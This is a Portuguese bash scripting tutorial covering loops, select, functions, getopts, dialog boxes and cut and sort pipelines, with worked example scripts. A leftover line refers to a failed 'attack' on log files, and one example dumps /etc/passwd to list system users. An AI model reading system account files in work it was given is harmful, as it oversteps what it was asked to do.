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# $? contém o mesmo valor não­zero que fez parar o loop acima [ $? ­ne 0 ] && echo " Você entupiu os arquivos de log por nada, pois o ataque fracassou... Mais sorte da próxima vez! O "pipeamento" para while também é usado no Mextract.sh. redirecionando de arquivo para while Agora veremos um arquivo onde eu tenho os telefones de alguns amigos. A disposição  das informações dentro do arquivo é um pouco parecida com o "amigos.regiao", veja: ####################### # Agenda de telefones        # ####################### # # OBS. I: ISSO NÃO É UM SCRIPT! # # Linhas que COMEÇAM com '#' serão consideradas # comentários pelo script "listartel.sh". # # Use da seguinte forma: # NOME  PREFIXO TELEFONE # Com os campos separados por UM ÚNICO . # # Exemplo: # lampiao       12      12345678 # mariabonita   87      87654321 # telefone "dus manu" xf      45      12431412 slater  98      65451654 minduin 45      54871800 nash    23      65576784 evil    23      54654654 heko    43      56465465 esc2    24      46456456 # telefone "das mina" emmanuele       87      45646545 maylline        29      65654655 manalaura       82      65416578 erika   65      34245522

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   Vamos ao script que se utilizará das informações de "agenda.tel":

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#!/bin/bash #arquivo=listartel.sh # TempFile=/tmp/TEMP­$$ # o egrep abaixo vai mostrar o arquivo agenda.tel # sem exibir as linhas que comecem com um caractere '#' # (considerado comentário) e sem mostrar linhas vazias. # redirecionando a saída para $TempFile egrep ­v "^#|^ *$" agenda.tel > $TempFile while read NOME PRE TEL ; do         echo ­e "Tel de $NOME: ($PRE)$TEL" done < $TempFile # esse redirecionamento faz com o que o "read" lá no while # leia linha por linha do arquivo $TempFile rm $TempFile Consulta o arquivo $ ./listartel.sh | grep emma OBS. I: Neste esquema também é necessário pegar os dados de /dev/tty se você quiser usar o read  dentro do loop. OBS. II: Se você usar exit dentro do loop usando este esquema, ele REALMENTE SAIRÁ DO  SCRIPT. Não é igual ao esquema anterior onde o while recebe dados de um pipe e o exit funciona  como se fosse um break. Então repetindo: neste esquema o exit funciona normalmente! redirecionando a saída do loop para a tela Ficou confuso com este título? "Redirecionar a saída do loop para a tela parece ser uma  coisa inútil, pois isso acontece todas as vezes." Aí que você se engana! Vamos ao exemplo onde eu  mostrarei a utilidade de se redirecionar desta maneira... Temos um script chamado retornatel.sh que pesquisa o telefone de um determinado  amigo (o nome é passado ao script durante sua execução). Agora queremos pegar o telefone deste  amigo e armazená­lo numa variável da seguinte maneira: FONE=`./retornatel.sh` Só que, como veremos no script a seguir, a saída do script não é somente o número do telefone.  Existe uma interface com o usuário perguntando qual o nome a ser pesquisado. Veja o script: Exemplo: Adbeel Goes Filho

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#!/bin/bash # tá bom, tá bom... eu sei que não é um exemplo muito útil... # é só pra ilustrar a utilidade de redirecionar a saída do loop FILE=agenda.tel function gotoxy {         [ $# ­ne 2 ] && {                 echo gotoxy: Erro na passagem de parâmetros                 echo Uso: gotoxy X Y                 exit 1         }         echo ­ne "\e[$1;$2H" } while true; do         clear         gotoxy 5 1         read ­p "Nome a ser pesquisado ('sair' para sair): " NOME         [ "X$NOME" = Xsair ] && exit         if grep "$NOME" $FILE &>/dev/null ; then                 break         else                 gotoxy 10 15                 echo Nenhum $NOME foi encontrado em $FILE.                 read ­p "Pressione <ENTER> para continuar..."         fi done > /dev/tty grep "^$NOME" $FILE | cut ­f3 Olha o /dev/tty aí de novo! :P   Redirecionando   a   saída   de   todo   o   loop   para   "/dev/tty",   fará   com   que   os   dados  impressos   para   fazer  a   interface   com  o  usuário  não  sejam  enviados  para   a  saída   padrão  e   por  conseguinte não sejam enviados para a variável que está recebendo o número através do método variavel=`programa` Desta maneira, se você quer armazenar o telefone do xf na variável XFTEL, faça o  seguinte: XFTEL=`./retornatel.sh` E então pesquise por xf. Depois é só usar echo $XFTEL Adbeel Goes Filho

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20.select  O select é um comando de laço que nos permite mostrar um pequeno menu de opções  para   o   usuário.   Cada   opção   possui   um   número   e   para   escolher,   o   usuário   digita   o   número  correspondente a opção desejada. Vejamos a sintaxe a seguir: select  in <lista de opções>; do    done; Como disse acima, o select vai mostrar as opções contidas em <lista de opções>, uma  por linha, com um número na frente e espera que o usuário digite a opção desejada. Ao digitar a  opção, o select atribui o nome da opção a variável  e executa os comandos. Para sair do  select, é necessário executar o comando "break". Vamos a um exemplo: select x in Iniciar Reiniciar Parar Sair; do   echo "Opção Escolhida:  $x"   if [ "$x" == "Sair" ]; then break; fi; done; Ou   seja,   se   o   usuário   escolher   alguma   opção   diferente   de   "Sair",   o   script   apenas  escreve a opção. Se for escolhida Sair, ele mostra a opção, entra no IF e executa o break, saindo do  select. É interessante combinar o Select com o Case. Vamos mostrar como ficaria aquele exemplo  do case, de iniciar um serviço, utilizando o select, para tornar o script interativo: select x in Iniciar Reiniciar Parar Sair; do   case "$x" in    'Iniciar' )                echo "Iniciando o serviço..."                ;;    'Reiniciar' )                echo "Reinicializando o serviço..."                ;;    'Parar' )                echo "Parando o serviço..."                ;;    'Sair'  )                echo "Script encerrado."                break                ;;    *) Adbeel Goes Filho

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               echo " Opção inválida!"                ;;   esac done; Primeiramente o select mostra um menu: 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #?  Quando o usuário digitar um número de opção, o select executa o case e este compara  a variável x com suas opções. Se achar alguma, executa seus comandos, no caso um echo. Se o  usuário escolher Sair, além do echo, ele executa o "break", que interrompe o select: virtvs@mucuripe:~/test$ ./t 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? 1                   Iniciando o serviço... 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? 5                   Opção inválida! 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? 4                   Script encerrado. virtvs@mucuripe:~/test$ Espero que vocês tenham pego a idéia de como funciona comandos de laços. Pelos  menos sabendo a utilidade, sintaxe e como funcionam, quando surgir a necessidade, vocês já vão  saber o que usar.   #!/bin/bash

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function Mecho {         echo ­e "\e[1m$*\e[m" } # ATENÇÃO AQUI: o prompt que o select mostra é controlado pela #               variável PS3. E todas aqueles comentários sobre #               o PS1 feitas no tópico 2.2. valem aqui também. PS3="Opção: " echo ­n "Entre com o primeiro número: " read NUM1 echo ­n "Entre com o segundo número: " read NUM2 OPCOES="adicao subtracao multiplicacao divisao sair" select opc in $OPCOES; do     if [ "$opc" = adicao ]; then         Mecho "$NUM1 + $NUM2 = $[ $NUM1 + $NUM2 ]"     elif [ "$opc" = subtracao ]; then         Mecho "$NUM1 ­ $NUM2 = $[ $NUM1 ­ $NUM2 ]"     elif [ "$opc" = multiplicacao ]; then         Mecho "$NUM1 * $NUM2 = $[ $NUM1 * $NUM2 ]"     elif [ "$opc" = divisao ]; then         Mecho "$NUM1 / $NUM2 = `echo "scale=2;$NUM1/$NUM2" | bc ­l`"     elif [ "$opc" = sair ]; then         Mecho "Tchau! "         exit     else         Mecho "Opção inválida! "     fi done

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21.Funções Funções   são   interessantes   para   quando   você   precisa   fazer   uma   determinada   coisa  várias vezes num mesmo script.    Uma função é como se fosse um script dentro do script, sendo  assim ele também usa o mesmo esquema de parâmetros de um script comum ($1 para primeiro  parâmetro, $2 para segunda, e todas aquelas regras explicadas em 2.4. Parâmetros com a exceção do  $0, que não retorna o nome da função!). Uma função também é capaz de retornar um valor usando o  "return ValorDeRetorno", sendo que ValorDeRetorno ficará  armazenado em "$?", vale observar  também que só é possível retornar valores inteiros. Por exemplo, se na função tiver "return 123" depois da execução desta instrução "$?"  valerá 123.      #!/bin/bash # "Hello World" usado para ilustrar o uso de funções. function quit {     echo ­e "\e[1;32mTCHAU!\e[m"     exit } function e {     echo ­e "\e[1;35m$1\e[m" } e Hello e World quit echo "Isso aqui não será impresso" Outro exemplo: #!/bin/bash PARAM_ERR=­198 # Se for passado mais do que dois parâmetros. EQUAL=­199     # Retorno se os parâmetros forem iguais. function maior # Retorna o maior de dois números {              # OBS: os números comparados precisam ser menores que 257 [ ­z "$2" ] && return $PARAM_ERR if [ "$1" ­eq "$2" ]; then Adbeel Goes Filho

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    return $EQUAL elif [ "$1" ­gt "$2" ]; then     return $1 else     return $2 fi } read ­p "Numero­1: " N1 read ­p "Numero­2: " N2 maior $N1 $N2 RET_VAL=$? if [ $RET_VAL ­eq $PARAM_ERR ]; then     echo "É necessário passar dois parâmetros para a função." elif [ $RET_VAL ­eq $EQUAL ]; then     echo "Os dois números são iguais." else     echo "O maior número é $RET_VAL." fi exit 0 Informações adicionais: ­ O return quando executado interrompe a execução da função e a execução passa para a instrução  imediatamente posterior a qual a função foi   chamada; ­ O valor mais alto que uma função pode retornar é 256 e o mais baixo 0. Bem, é um número de  módulo grande. :P Se precisar de valores positivos     maiores que 256 retorne­o como negativo e  depois converta­o para   positivo novamente. ­ Se quer saber mais detalhes sobre funções o capítulo 23 do Advanced   Bash­Scripting Guide vai  lhe ser muito útil. #!/bin/bash # # Código baseado em um do Advanced Bash­Scripting Guide. # Mais informações sobre este guia em http://www.linuxdoc.org # Caso não entenda o código, faça um esforcinho! ;­) LIMITE=400 function romano {     NUM=$1     FATOR=$2     ROMAN=$3 Adbeel Goes Filho

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    (( RESTO = $NUM ­ $FATOR ))     while [ "$RESTO" ­ge 0 ]; do         echo ­n $ROMAN         (( NUM ­= $FATOR ))         (( RESTO = $NUM ­ $FATOR ))     done     return $NUM } [ "$1" ] || {     echo "Uso: `basename $0` NUMERO"     exit 1 } [ "$1" ­gt 400 ] && {     echo "$1 ultrapassa o limite de $LIMITE"     exit 1 } NUMERO=$1 romano $NUMERO 100 C NUMERO=$? romano $NUMERO 90 XC NUMERO=$? romano $NUMERO 50 L NUMERO=$? romano $NUMERO 40 XL NUMERO=$? romano $NUMERO 10 X NUMERO=$? romano $NUMERO 9 IX NUMERO=$? romano $NUMERO 5 V NUMERO=$? romano $NUMERO 4 IV NUMERO=$? Adbeel Goes Filho

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romano $NUMERO 1 I NUMERO=$? echo exit É possível declarar função(ões) dentro de função.    5.

Funções como comandos

Antes de começar vamos relembrar um conceito básico: quando se executa um  shell  script você obtém o mesmo resultado que obteria se digitasse o conteúdo do script no prompt de um  shell. Com isso eu quero dizer que você pode fazer tudo que faz em um  shell  script na linha de  comando, inclusive criar e utilizar funções (que é o assunto deste tópico). Na linha de comando você declara uma função da mesma maneira que faz num script.  Por exemplo, digite o seguinte na sua linha de comando: function heko { echo ­e "\e[5;1;32mHekodangews, para de enrolar a mina e casa logo! \e[m" } Agora quando você entrar com "heko" na linha de comando será impresso na tela um  recadinho para o Hekodangews numa corzinha verde e piscante super­fashion. =) Veja este outro exemplo um pouco mais útil: function SetPath { PATH=${PATH:="/bin:/usr/bin"} for DIR in "$@"; do     if [ ­d "$DIR" ]; then         PATH="$PATH:$DIR"     else         echo "* * * Erro: $DIR nao eh um diretorio"     fi done export PATH unset DIR } E se você tiver várias idéias de funções legais que queira usar sempre em suas sessões?  Vai ter que digitá­las na linha de comando toda hora? Não! Para este propósito o comando "source"  pode ser muito útil (informações detalhadas na manpage do bash).   Lembra­se quando disse "Quando executamos um shellscript ele é executado num shell  Adbeel Goes Filho

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a parte (shell filho)" ?. O comando source faz com que o script seja executado no shell pai, ou seja,  é   como   você   estivesse   digitando   todo   o   conteúdo   do   arquivo   na   linha   de   comando.   E   isso   é  especialmente   útil   quando   temos   arquivos   com   as   nossas   funções   que   queremos   usar   como  comandos. Uma coisa legal de se fazer é colocar o arquivo com as funções que você quer usar num  arquivo oculto no seu $HOME (ex.: $HOME/.MyFunctions) e no seu $HOME/.bash_profile você  coloca uma linha com o comando "source $HOME/.MyFunctions". Veja este arquivo com alguns exemplos de funções:   #!/bin/bash # # "INSTALAÇÃO": # copie este arquivo para seu $HOME: # [prompt]$ cp Mfunctions ~/.Mfunctions # # depois faça o seguinte: # [prompt]$ echo ". ~/.Mfunctions" >> ~/.bash_profile # # Dê login novamente ou digite ". ~/.Mfunctions" e pronto. # Agora é só digitar o nome da função. # # DICA: depois de corretamente instalada, use "M" #       para ver as funções disponíveis. # # Funções disponíveis neste arquivo: # + Mecho # + Mcenter # + Mclock # + Mclock2 # + Msetpath # + Mdica # + Marrumanome # + Mnocomments # + Mcalcula # + Mcores # # Aproveite! # meleu # # P.S.: graças a esse tal de "open source" você pode ler #       um código e alterá­lo para que se adeque as suas #       necessidades eu que fique ao seu gosto. Pois foi #       isso que eu fiz aqui! Saí olhando as funções que #       outras pessoas fizeram e arrumei do meu jeito. E Adbeel Goes Filho

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#       a minha principal fonte foi o funcoeszz do aurélio. #       veja em: http://verde666.org/zz #

# imprime em negrito function Mecho {         echo ­e "\e[1m$*\e[m" } # imprime em negrito no centro da linha function Mcenter {         local POS=$[ ( $COLUMNS ­ `echo ­en "$*" | wc ­c` ) / 2 ]         Mecho "\e[${POS}C$*" } # deixa sempre no cantinho da primeira linha do console: # "[ hora:minuto dia/mes/ano ]". # Se houver algum processo em segundo plano (background) ele também indica. # OBS.: nos emuladores de terminal em que eu testei só funcionou no xterm # o rxvt não aceita os códigos de salvar e restaurar a posição do cursor # (respectivamente "\e[s" e "\e[u"). function Mclock { local CIANO="\e[1;36m" local AMARELO="\e[1;33m" local SCOR="\e[m" alias DiaMesAno='date +'\''%H:%M %e/%m/%y'\' PROMPT_COMMAND=" JOBS=\$(echo \$(jobs | wc ­l)) if [ \$JOBS ­ne 0 ]; then         HEADER=\"Jobs: \$JOBS     ­     \$(DiaMesAno)\" else         HEADER=\"\$(DiaMesAno)\" fi POS=\$[ (\$COLUMNS ­ \$(echo \"\$HEADER\" | wc ­c) ) ­ 3 ]" PS1="\[\e[s\e[1;0H\e[K\ \e[\$(echo ­n \$POS)C\ $CIANO[$AMARELO \$HEADER $CIANO]$SCOR\ \e[u\e[1A\] $PS1" echo ­e "\nMclock ativado!\n" Adbeel Goes Filho

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}

# Parecido com o Mclock mas fica tudo escrito no centro da primeira linha # e em um formato mais longo. function Mclock2 { local CIANO="\e[1;36m" local AMARELO="\e[1;33m" local SCOR="\e[0m" alias Mdate='date +'\''%H:%M ­ %A, %e %B %Y'\' PROMPT_COMMAND=" JOBS=\$(echo \$(jobs | wc ­l)) if [ \$JOBS ­ne 0 ]; then         HEADER=\"Jobs: \$JOBS  ­  $(Mdate)\" else         HEADER=\"\$(Mdate)\" fi POS=\$[ (\$COLUMNS ­ \$(echo \"\$HEADER\" | wc ­c) ) / 2 ]" PS1="\[\e[s\e[1;0H\e[K\ \e[\$(echo ­n \$POS)C\ $CIANO[$AMARELO \$HEADER $CIANO]$SCOR\ \e[u\e[1A\] $PS1" echo ­e "\nMclock2 ativado!\n" } # Adiciona um diretório na sua variável $PATH function Msetpath { local DIR PATH=${PATH:="/bin:/usr/bin"} [ $# ­eq 0 ] && { echo "PATH = $PATH"; return; } for DIR in "$@"; do     if [ ­d "$DIR" ]; then         PATH="$DIR:$PATH"     else         echo "* * * Erro: $DIR não é um diretório"         continue     fi Adbeel Goes Filho

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done export PATH }

# eu tenho no meu home um diretório dicas onde eu vou colocando # dicas sobre programas diversos. # o nome dos arquivos são iguais aos nomes dos programas, então # quando eu me deparo com uma dica sobre o grep, por exemplo, eu # faço: # [prompt]$ cat dica_grep >> ~/grep # esta função serve para visualizar as dicas # OBS.: o aurélio que me deu ESTA dica do diretório "$HOME/dicas". # valeu rapaz! ;) function Mdica { local DICASDIR=$HOME/dicas [ "$1" ] || {         Mecho "Uso: Mdica [assunto]\n"         echo "Os assuntos disponíveis são:"         ls $DICASDIR         return } more $DICASDIR/$1 } # renomeia os arquivos que possuem nomes com caracteres feiosos # fazendo com que letras maiúsculas fiquem minúsculas; # letras acentuadas fiquem a letra correspondente sem acento; # e espaços em branco, símbolos e outras coisas feias fiquem # underline '_' function Marrumanome { [ "$1" ] || {         Mecho "Erro: você precisa passar os arquivos que quer renomear";         echo 'Uso: Marrumanome arquivo1 [arquivoN ...]'         return 1 } local FILE NINICIAL NFINAL DIR for FILE in "$@"; do         [ ­f "$FILE" ] || continue         NINICIAL=`basename "$FILE"`         DIR=`dirname "$FILE"` Adbeel Goes Filho

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        NFINAL=`echo "$NINICIAL" | sed ' y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ y/ÃãÀàÂâÄäÁáÈèÊêËëÉé/aaaaaaaaaaeeeeeeee/ y/ÌìÎîÏïÍíÕõÒòÔôÖöÓó/iiiiiiiioooooooooo/ y/ÙùÛûÜüÚúÇçÑñ/uuuuuuuuccnn/ s/^­/_/ s/[^a­z0­9._­]/_/g'`         [ "$NINICIAL" != "$NFINAL" ] && mv ­­ "$FILE" "$DIR/$NFINAL" done } # visualiza um arquivo retirando linhas que comecem com um caractere # de comentário (#) e linhas vazias (linhas com espaços não são vazias) function Mnocomments { [ "$1" ] || {         Mecho "Erro: falta argumentos"         echo "Uso: Mnocomments arquivo1 [arquivoN ...]"         return } # estou usando o more só por causa daqueles ":::::::" que aparecem # quando é passado mais de um arquivo como parâmetro. ;­) more $@ | egrep ­v "^#|^$" } # faz cálculos usando o bc # só pra não precisar ficar fazendo "echo <expressao> | bc" toda hora function Mcalcula { [ "$1" ] || {         Mecho "Erro: você precisa passar uma expressão"         echo "Uso: Mcalcula <expressão>"         echo "Exemplo: Mcalcula '4^2+3*(7­4)'"         return 1 } # mude o valor de "scale" se quiser mais de duas casas decimais echo "scale=2; $@" | bc } # mostra todas as cores do console e seus respectivos códigos. # mais uma cortesia do aurélio function Mcores { for LETRA in `seq 0 7`; do   for BOLD in '' ';1'; do     for FUNDO in `seq 0 7`; do Adbeel Goes Filho

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      SEQ="4$FUNDO;3$LETRA"       echo ­ne "\e[$SEQ${BOLD}m $SEQ${BOLD:­  } \e[m"     done     echo   done done }

22.Tornando seu script amigável  

Alguns comandos úteis que tornam seu script mais "user­friendly".

 6.

getopts

Este comando serve para permitir que você use parâmetros na linha de comando de  maneira mais eficiente que ficar usando as variáveis de posição de parâmetros ("$1", "$2"...).     Sua sintaxe é:  getopts 'CadeiaDeOpcoes' variavel Onde   "CadeiaDeOpcoes"   consiste   em   cada   caractere   que   o   getopts   considerará,   e  "variavel" receberá este caractere. Para passar um parâmetro para o script você usa '­c' onde 'c' é o  parâmetro. Veja este exemplo hipotético: getopts 'ab:c' variavel Você poderá usar os parâmetros 'a', 'b' ou 'c'. Note que 'b' é seguido de um ':', isso significa que 'b' é  um parâmetro que precisa de argumento. Este, por sua vez, é armazenado na variável OPTARG. Mais detalhadamente, o getopts funciona assim (adaptado do "Teach Yourself Shell Programming in  24 Hours", veja Referências):     1. O getopts examina todos os argumentos da linha de comando procurando por argumentos que  comecem com o caractere '­'.     2. Quando acha um argumento começado com '­' o getopts procura em "CadeiaDeOpcoes" se tem  algum caractere que combine.     3. Se combinar com algum, "variavel" receberá este caractere, caso contrário "variavel" receberá  '?'.       4. Os passos 1­3 são repetidos até que todos os argumentos da linha de comando tenham sido  Adbeel Goes Filho

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lidos.     5. Quando acaba de ler todos os argumentos da linha de comando getops retorna um valor falso  (não­zero). Isto é útil para verificações em loops (como veremos no exemplo abaixo).   <++> BashScript/getopts.sh #!/bin/bash USAGE="Uso: `basename $0` [­h] [­n nome] [­e email]" [ $1 ] || { echo $USAGE ; exit 1 ; } # observe que 'n' e 'e' precisam de argumentos while getopts 'hn:e:' PARAMETRO; do # atente para a utilidade do "case"! ;­)     case $PARAMETRO in         h) echo ­n " Script de exemplo de uso do \"getopts\". Uso: `basename $0` [opções] Onde as opções podem ser: ­n nome         imprime nome ­e email        imprime email ­h              exibe esta mensagem" ;;         n) NOME=$OPTARG ;;         e) EMAIL=$OPTARG ;;         *) echo ­n "Entre \"`basename $0` ­h\" para ajuda." ;;     esac done [ $NOME ] && echo $NOME [ $EMAIL ] && echo $EMAIL

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23.dialog O dialog não um comando específico do bash! Estou escrevendo sobre ele porque já vi  muita gente querendo informações. O dialog serve para fazer caixas de diálogo, e a sintaxe básica é assim: dialog [ opcoes de título ] opções da caixa As opções de título são opcionais (por isso que elas estão entre colchetes. As de caixa  são obrigatórias. Para que você possa fazer agora uma apreciação visual do dialog tente o seguinte  comando: dialog ­­yesno "Caixa onde se se escolhe Yes ou No" 0 0 Existem vários tipos de caixas, a utilizada nesse comando é uma caixa do tipo "yesno".  Bem... isso foi só pra você dar uma admirada rápida no dialog. Agora vamos organizar as coisas,  vou explicar alguns parâmetros. Vá praticando cada um desses parâmetros e vendo o resultado.  Lembre­se que as opções da caixa são obrigatórias! * ­­backtitle "texto" Este parâmetro é para por um título "lá atrás". Tente   dialog ­­backtitle "Micro\$oft  Scandisk" ­­yesno bla 0 0 e veja como o título que aparece lhe trará péssimas lembranças. =)     * ­­title "texto" Este vai ser o título da caixa de diálogo. Agora vamos as opções de caixa, mas antes uma informação: Em todos os tipos de  caixas existem os argumentos "altura" e "largura" (que para abreviar, eu chamarei de "alt" e "larg"),  que (por incrível que pareça) servem para você determinar a altura e largura da caixa de diálogo. Se  você não tiver saco pra ficar contando quantos caracteres serão usados na caixa, use 0 para altura e  largura, assim a caixa terá um tamanho de acordo com texto utilizado. * ­­yesno "texto" alt larg Faz uma caixa de diálogo com as opções "Yes" e "No". Se você escolher "Yes" o dialog retorna 0, caso contrário, retorna 1. * ­­msgbox "texto" alt larg  Serve para mostrar uma mensagem e tem um botão de confirmação "OK". Quando você escolher  Adbeel Goes Filho

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"OK" o dialog retornará 0, e, assim como em todos os outros tipos de caixas, você pode cancelar via tecla ESC, quando o dialog retornará 255. * ­­inputbox "texto" alt larg [string de inicio] Faz  uma  caixa  de  entrada  de  dados,  se "string  de  inicio"  for  passada  o campo   de  entrada de dados será inicializado por esta string. Os botões são "OK" E "Cancel", o primeiro, se  selecionado, retorna 0 e o outro retorna 1. A string que você entrar será direcionada para a saída de  erro padrão, portanto, se você quer que isto seja gravado use redirecionamento de stderr (ver 3.3  Redirecionamento). * ­­textbox arquivo alt larg É como se fosse um simples visualizador de arquivos texto. Use as setinhas do teclado  para se movimentar. Para pesquisar pra frente use '/' e para pesquisar pra trás use '?'. * ­­menu "texto" alt larg alt­do­menu item1 "descricao do item1" \ [ itemN "descricao do itemN" ] Note que aquela '\' lá no final da linha significa que o comando continua na próxima  linha. Como o próprio nome diz, esse parâmetro é usado para fazer menus, como por exemplo  aquele  do  pppsetup (slackware)  onde você  escolhe qual o ttyS  do seu modem. O item  que  for  escolhido será impresso em stderr. "OK" retorna 0 e "Cancel" retorna 1.  Veja um exemplo besta só pra ilustrar: #!/bin/bash FILE=/tmp/script­$$ dialog ­­title "Teste fuleiro da caixa de diálogo \"menu\"" \   ­­menu "Qual comando você deseja executar?" 0 0 0 \   "pwd" "mostra o diretório atual" \   "ps aux" "lista os processos que estão sendo executados" \   "uname ­a" "exibe informações sobre o SO e a máquina local" \   "users" "lista os usuários que estão logados no momento" 2> $FILE # Lembre­se que o item escolhido será impresso em stderr. E repare # acima que eu estou redirecionando stderr para um arquivo. RET_VAL=$? [ $RET_VAL ­eq 0 ] || { echo "Operação cancelada."; exit 1; } sh $FILE rm $FILE

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* ­­checklist "texto" alt larg alt­da­lista \    item1 "descricao do item1" status [ item2 "descricao do item2" status ] Note novamente o caractere '\' fazendo o comando continuar na linha abaixo. Este tipo  de caixa é utilizado quando se quer fazer um menu onde pode­se escolher vários itens, você marca  os que deseja e dá "OK". Assim como o "­­menu", o(s) item(ns) que for(em) escolhido(s) serão  impressos em stderr. O parâmetro "status" serve para você deixar um determinado item selecionado  logo de início, seus valores podem ser "on" ou "off".       Veja este exemplo bem interessante (oh!  finalmente um exemplo com alguma utilidade!) que usa muitos dos conceitos já ensinados até aqui,  se não entender releia o código: Exemplo: #!/bin/bash # #   "Escolhedor" de mp3z feito para ilustrar o uso do 'dialog' # no texto "Programação em Bourne­Again Shell". # #   Para utilizar este script é necessário ter instalado o mpg123. # # + OBS.: Se o nome de alguma mp3 for muito grande podem acontecer # resultados bizarros... :­/ # + OBS.II: Este script não "detecta" nome de mp3z que contenham # espaços. Pois se detectasse também ocorreriam resultados bizarros. # # Feito por: meleu <[email protected]> # mude a variável MP3DIR e descomente­a para não # precisar passar o diretório toda hora na linha # de comando. #MP3DIR="$HOME/mp3z/" FILE="/tmp/mp3.$$" NCOR="\e[m" WHITE="\e[1m" function AjudarSair {         echo "Tente \"`basename $0` ­h\" para ajuda."         exit $1 } function ApagarSair {         rm $FILE         exit $1 Adbeel Goes Filho

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} # óia o getopts aê gente! =) while getopts 'd:n:h' OPCAO; do     case $OPCAO in     d) MP3DIR="$OPTARG" ;;     n) NOME="*$OPTARG" ;;     h) echo ­e " ${WHITE}* Meleu's mp3 escolheitor (Tabajara, Inc.)$NCOR Uso: `basename $0` [­d diretorio] [­n nome] [­h] ­d diretorio    diretório onde serão procuradas as mp3z ­n nome         nome que será procurado no diretório ­h              imprime esta mensagem "        exit ;;     *) exit 1 ;;     esac done if [ ­z "$MP3DIR" ]; then   echo ­e "${WHITE}Você precisa indicar em qual diretório estão as mp3z.$NCOR"   AjudarSair 1 elif [ ! ­d "$MP3DIR" ]; then   echo ­e "$WHITE\"$MP3DIR\" não é um diretório.$NCOR"   AjudarSair 1 fi cd "$MP3DIR" LISTA=`/bin/ls ­1 $NOME*.mp3 2>/dev/null | grep ­v ' '` [ ­z "$LISTA" ] && {         echo ­e "${WHITE}Nenhuma mp3 foi encontrada em \"$MP3DIR\".$NCOR"         AjudarSair 1 } CONT=1 dialog ­­backtitle "Selecionador de mp3z" \  ­­title "$MP3DIR" \  ­­checklist "Escolha a música" 0 0 0 \ $(for ITEM in $LISTA ; do         echo "$ITEM" "$CONT" off         (( CONT++ )) done) 2>> $FILE Adbeel Goes Filho

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RET_VAL=$? [ $RET_VAL ­ne 0 ] && { echo "Tchau!"; ApagarSair; } # verificando se já existe um processo com o mpg123 MPGPID=`ps ax ­­format pid,comm | grep mpg123 | cut ­c­6` [ $MPGPID ] && {         dialog ­­backtitle "Selecionador de mp3z" \         ­­title "O mpg123 JÁ ESTÁ SENDO USADO!" \         ­­yesno "Deseja finalizá­lo para ouvir a sua lista?" 0 0         RET_VAL=$?         if [ $RET_VAL ­eq 0 ]; then             kill $MPGPID 2>/dev/null || {                 echo ­e "${WHITE}Não foi possível finalizar o mpg123.$NCOR"                 echo "Pode ser que outro usuário esteja utilizando­o."                 ApagarSair 1             }         else             echo "Saindo..."             ApagarSair         fi } # o sleep é pra garantir que o /dev/dsp estará desocupado sleep 1s cat $FILE | xargs mpg123 2> /dev/null & ApagarSair # EoF # * ­­radiolist "texto" alt larg alt­da­lista \     item1 "descricao do item1" status [ item2 "descricao do item2 status ] Similar ao ­­checklist porém aqui só se pode fazer uma escolha, quando você seleciona  um item desmarca outro.  

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Capitulo 5. Comandos Avançados 1. cut O Linux possui diversos comandos e, utilizando um em conjunto com o outro, você  acaba   criando   um   comando   novo   e   ainda   mais   poderoso.   Abaixo   mostrarei   alguns   comandos  misturados com outros e mostrando as saídas, assim será bem fácil de entender.  Preste atenção nestas duas linhas de comando:  1 ­ cat /etc/services  2 ­ cat /etc/services |more  O primeiro comando, jogará na tela o conteúdo do arquivo /etc/services.  O segundo jogará na tela o conteúdo do arquivo /etc/services, dividindo na tela de maneira que o  arquivo não fique rolando, assim podendo visualizar todo o arquivo e, de maneira que apertando  espaço ela vai rolando para baixo.  Utilizamos esse "more" quando o arquivo é muito grande, como já visto nos comandos  do Linux. Agora o importante é notar, que no segundo comando o que fazemos é usar o comando  cat, e jogar sua saída para o comando more, o por sua vez joga a saída na tela. Visto isso podemos  montar comandos muito interessantes, o qual juntaremos alguns comandos e no final sairá na tela o  resultado desejado.  Vamos pra um exemplo. Se quiséssemos pegar todos os usuários de um computador.  Faríamos o seguinte:  root@c0mb4t:/# cat etc/passwd  root:x:0:0::/root:/bin/bash  bin:x:1:1:bin:/bin:  daemon:x:2:2:daemon:/sbin:  adm:x:3:4:adm:/var/log:  lp:x:4:7:lp:/var/spool/lpd:  sync:x:5:0:sync:/sbin:/bin/sync  shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  halt:x:7:0:halt:/sbin:/sbin/halt  mail:x:8:12:mail:/:  news:x:9:13:news:/usr/lib/news:  uucp:x:10:14:uucp:/var/spool/uucppublic:  operator:x:11:0:operator:/root:/bin/bash  games:x:12:100:games:/usr/games:  ftp:x:14:50::/home/ftp:  Adbeel Goes Filho

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mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash  gdm:x:42:42:GDM:/var/state/gdm:/bin/bash  nobody:x:99:99:nobody:/:  c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash  Mas vimos aqui muita sujeira, então juntamos dois comando e veremos sua saída:  root@c0mb4t:/# cat etc/passwd |cut ­d: ­f1  root  bin  daemon  adm  lp  sync  shutdown  halt  mail  news  uucp  operator  games  ftp  mysql  gdm  nobody  c0mb4t  Aqui o comando cut corta o ':' (­d: ­f1) onde o 'f' vem do inglês  field. Assim deixa  somente a lista de usuários.  Mas ainda não estamos satisfeitos, pois queremos em ordem alfabética,  então usaremos junto mais um comando, o sort.  root@c0mb4t:/# cat etc/passwd |cut ­d: ­f1| sort  adm  bin  c0mb4t  daemon  ftp  games  gdm  halt  lp  mail  mysql  news  Adbeel Goes Filho

